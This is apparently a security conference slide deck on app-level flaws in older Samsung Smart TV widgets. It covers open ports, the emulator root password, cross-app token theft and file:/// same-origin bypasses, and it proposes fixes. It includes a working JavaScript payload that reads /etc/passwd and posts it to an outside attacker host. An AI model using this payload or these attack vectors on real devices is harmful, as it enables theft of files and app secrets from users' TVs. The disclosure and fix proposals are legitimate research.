



SAMSUNG SMARTTV: HOW-TO TO CREATING INSECURE

DEVICE IN TODAY'S WORLD

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- Speaker



Agenda

- SmartTV what is it?
- Current state of research (in the world)
- Samsung Smart TV series 2008-2014
- Emulator vs real hardware
- Architecture security issues
- Typical bugs in apps
- Bugs related to architecture
- Attacking vectors
- Conclusion







PORT STATE SERVICE VERSION 6000/tcp filtered X11 7011/tcp open unknown 7676/tcp open upnp AllShare UPnP 8000/tcp open http-alt | http-cors: GET POST PUT DELETE OPTIONS | http-methods: No Allow or Public header in OPTIONS response (status code 500) | http-open-proxy: Proxy might be redirecting requests | http-title: Site doesn't have a title. 8001/tcp open vcom-tunnel? 8080/tcp open http lighttpd | http-title: 404 - Not Found 8443/tcp open ssl/http lighttpd | http-title: 404 - Not Found | ssl-cert: Subject: commonName=server1/organizationName=Samsung SERI/stateOrProvinceName=Surrey/ countryName=GB | Not valid before: 1970-01-01T00:00:00+00:00 | Not valid after: 2030-01-01T00:00:00+00:00 | ssl-date: 1970-01-01T04:53:33+00:00; -45y326d13h57m14s from local time. 15500/tcp open unknown 52345/tcp open http Samsung AllShare httpd



Current state - a lot of binary & hardware research

- http://samygo.tv/
- https://media.blackhat.com/us-13/US-13-Lee-Hacking-Surveilling-and-Deceiving-Victims-on-Smart-TV-Slides.pdf
- http://community.hpe.com/t5/Security-Research/Hacking-my-smart-TV-an-old-newthing/ba-p/6645844#.VKHH9AIqA
- http://www.delaat.net/rp/2012-2013/p39/report.pdf
- <u>http://marcoramilli.blogspot.ru/2013/05/firmware-hacking-samsung-smart-tv-turn.html</u>
- ...

No talks about app security :(




Samsung SmartTV models

Series:

 2008-2014 - A, B, C, D, E, F, H (Bada) Can be rooted (in most cases); different ways to install custom widgets
 2015+ - J (Tizen) No public ways to get root; possible to install custom apps

This talk about security of application level (A-H series)







Widgets architecture

Container includes

- 1) HTML
- 2) JS
- 3) CSS
- 4) Images
- 5) ...
- 6) Some .xml files with meta info

Widget is just a SPA which has access to low-level API of TV



And... how do they work on TV?



Emulator

- https://www.samsungdforum.com/Devtools/SdkDownload SDK Emulator (5.1, 2014)
- Ubuntu 12.04.2 LTS
- Linux smarttvemulator 3.2.0-41
- 1 GB RAM / 8 GB HDD
- Stricted system ables to run widgets (limited API)
- Everything works under root

Real hardware

- Different configurations
- Full API
- Two important users root & app

ZERO NGHTS

000	2014_Smart_TV_Emulator_5_1 [Runnin	ng]	1 01 1
	📮 🗣 🏠 Þ 🚳		Basic Device
My Apps			
			4 5 6
			789
Faceb HelloWorld			- O PRE-CH
Faceb HelloWorld			
			MENU SEARCH
		🔊 Return	
	S A M S U N G Warning: GetSystemVersion() function is not supported in current emu	ulator.	SAMSUNG
		Settings License LOGS 🔺	
0002 [INFO] window.onShow		O Sea	rch 🔵 Filter
0003 [INFO] window.onFocusin 0004 [INFO] window.onShow			GO
0005 [INFO] window.onFocusin			evious Next
			🗖 📃 🖫 🔟 🚫 🖲 Left ೫



Root password? Google ... no results WTF

https://mherfurt.wordpress.com/2014/10/10/auditing-samsung-smart-tv-apps/

> there is no publicly communicated password for neither the smarttv user nor any other user that might log onto the virtual emulator.

Ok, let's do it:

- Mount hdd under another Linux system
- Find password



First way:

a.# cat /etc/shadow

root:g4KfRyC9MkXuM:16177:0:99999:7:::

a. hashcat

b. 1q2w3E

Second way:

```
# grep -r mkpasswd .
./checkAndLaunchEmulator.sh: [ -f /home/smarttv/
Installer/.releaseOVAFlag ] && usermod smarttv -p `mkpasswd
1q2w3E` && cp -f .xinitrc.r .xinitrc && usermod root -p `mkpasswd
1q2w3E`
```

Ok guys, here is - root:1q2w3E



Ok, let's run our first widget

Easiest way:

- 1) Take some existing (public available) widget
- 2) Inject your JS code at index.html :)

Or use blank provided by Samsung: https://www.samsungdforum.com/Guide/art00011/index.html



Custom API

Access to file system

```
var fileSystemObj = new FileSystem();
var fileObj = fileSystemObj.openCommonFile(curWidget.id + '/testFile.data',
'r');
var strResult = fileObj.readAll();
```



Custom API

Access to file system

curWidget.id + '/testFile.data';
Yes, we can use root path. But no path traversal :(



Custom API

Access to file system

But...

- Application can read files of each other!
- Example: we can steal secret tokens of other apps (API tokens)
- Real example: VK app for SmartTV



Custom API

Fix?

- For each new installation of widget/app create new system (OS) user with autoincrement ID (like Android, widgetid_123456)
- Create curWidget.id folder in the same place (like now) and (!) change chmod/chown rights. It will save current structure of API and will prevent unauthorized access between different apps. Want to share info between apps? Ok, create file in root dir. But no access to each other.



Custom API

Also provides access to

- Microphone
- Camera
- SmartHome
- Network (get / set)
- Gestures
- ...



Ok, what about Same Origin Policy?

All apps are works with file:/// scheme

file:///mtd_down/widgets/user/XXX/index.html?country=RU

Do you know what that means?



Ok, what about Same Origin Policy?

All apps are works with file:/// scheme

file:///mtd_down/widgets/user/XXX/index.html?country=RU

Do you know what that means? In old browsers we can read OS files! (new - NS_ERROR_DOM_BAD_URI: Access to restricted URI denied)



```
file = 'file:///etc/passwd';
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
    if(rawFile.readyState === 4)
        if(rawFile.status === 200 || rawFile.status == 0)
            var allText = rawFile.responseText;
            var url = "http://hacker.website/smarttv/";
            var params = "file="+file+"&content="+allText;
            var xhr = new XMLHttpRequest();
            xhr.open("POST", url, true);
            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr.send(params);
rawFile.send(null);
```



Same Origin Policy

Emulator


• Stealed /etc/shadow (browser under root!)

Real hardware (Samsung UE-48H8000 + last firmware)

- file:///etc/resolv.conf
- file:///etc/hosts
- file:///etc/passwd
- file:///etc/group
- ...



Emulator





Real Hardware

file:///etc/passwd
root::0:0:Root,,,:/:/bin/sh
app::1010:1010:app,,,:/:/bin/sh
webapp::1011:1011:webapp,,,:/:/bin/sh

file:///etc/group root::0:0 app::1010:app webapp::1011:webapp gfx::500:app,webapp video::501:app,webapp audio::502:app,webapp disk::503:app,webapp security::504:app,webapp camera::505:505 dtvlogd::506:app



Same Origin Policy

Fix

- For each app installation create new OS user with autoincrement ID (like with fileSystem)
- Add to SmartTV a tiny (probably custom) proxy-dns server with handling "local" zone, like .smartlocal that points to 127.0.0.1. Other queries we should to proxy thru system DNS.
- Add to smartty local webserver that can do only two simple things: serve a static files and handling virtual hosts
- Run each widget in isolated origin, like
 - http://widgetid123456.smartlocal
 - http://widgetid145356.smartlocal
 - http://widgetid7777.smartlocal
 - ...
- It's more secure and will prevent access to local file system.

Or just follow Chromium <-> extensions way



What do these bugs mean?

That developers don't have a secure storage for secret data (localStorage / Cookies can be stealed due file:///)



Ways to be under attack (inject malicious JS):

- Malicious app that loads external JS (successfully review while publishing)
- MitM on any app that serves content via HTTP (very popular)
- XSS attack on any app





And what about... XSS threat?



And what about... XSS threat? It's possible, like with typical web app XSS = access to low-level API (include access to file system!)



Summary

- XSS because we have a modern SPA and if we find a way to do XSS attack, we can get access to extra API (like different access to hardware) / filesystem and hijack secret tokens / internal IP address / etc and try to attack home lan (do port scan http://ba.net/util/nmap/ nmap.html thru js / attacking lan routers - routerpwn.com with simple exploits - like auth bypass + changing dns);
- Information leaks debug info / address of dev environment
- Some of HTML5 issues
- Insecure communication (http)
- No ways to secure your app with CSP (due SOP bug)



Information leaks

Check eveything

- js files
- XML files
- app.json





Information leaks

• Test accounts

someObject.id = "samsung****@gmail.com"; someObject.pw = "deXXXX"; someObject.id = "******dev@gmail.com"; someObject.pw = "tjXXXX";



facebook

Please choose one of the following methods to confirm your identity:

Provide your birthday

Text a security code to your phone

Continue

Not Kim? Log in here



Information leaks

- Test accounts
 - someObject.id = "samsung*****@gmail.com";
 - someObject.pw = "deXXXXX";
 - someObject.id = "******dev@gmail.com";
 - someObject.pw = "tjXXXXX";
- Developers servers
- Internal IP addresses



Customer? Have Smart TV and want to be secure?

- 1) Do not install widgets from untrusted sources
- 2) Got root? Be carefully with custom software
- 3) Believe that all widgets are without any security issues :)

Developer?

1) Develop your app that every user will try to hack it



Conclusion

- 1. No ways to store secret data file:///
- 2. XSS is more has more impact than in common cases
- 3. Developers of widgets don't think about security (it's just SPA! Who will hack us?)
- 4. Believe that application market review will not pass malicious widget
- 5. I should update this talk when I will have TV on Tizen :)



Thanks! Any questions?

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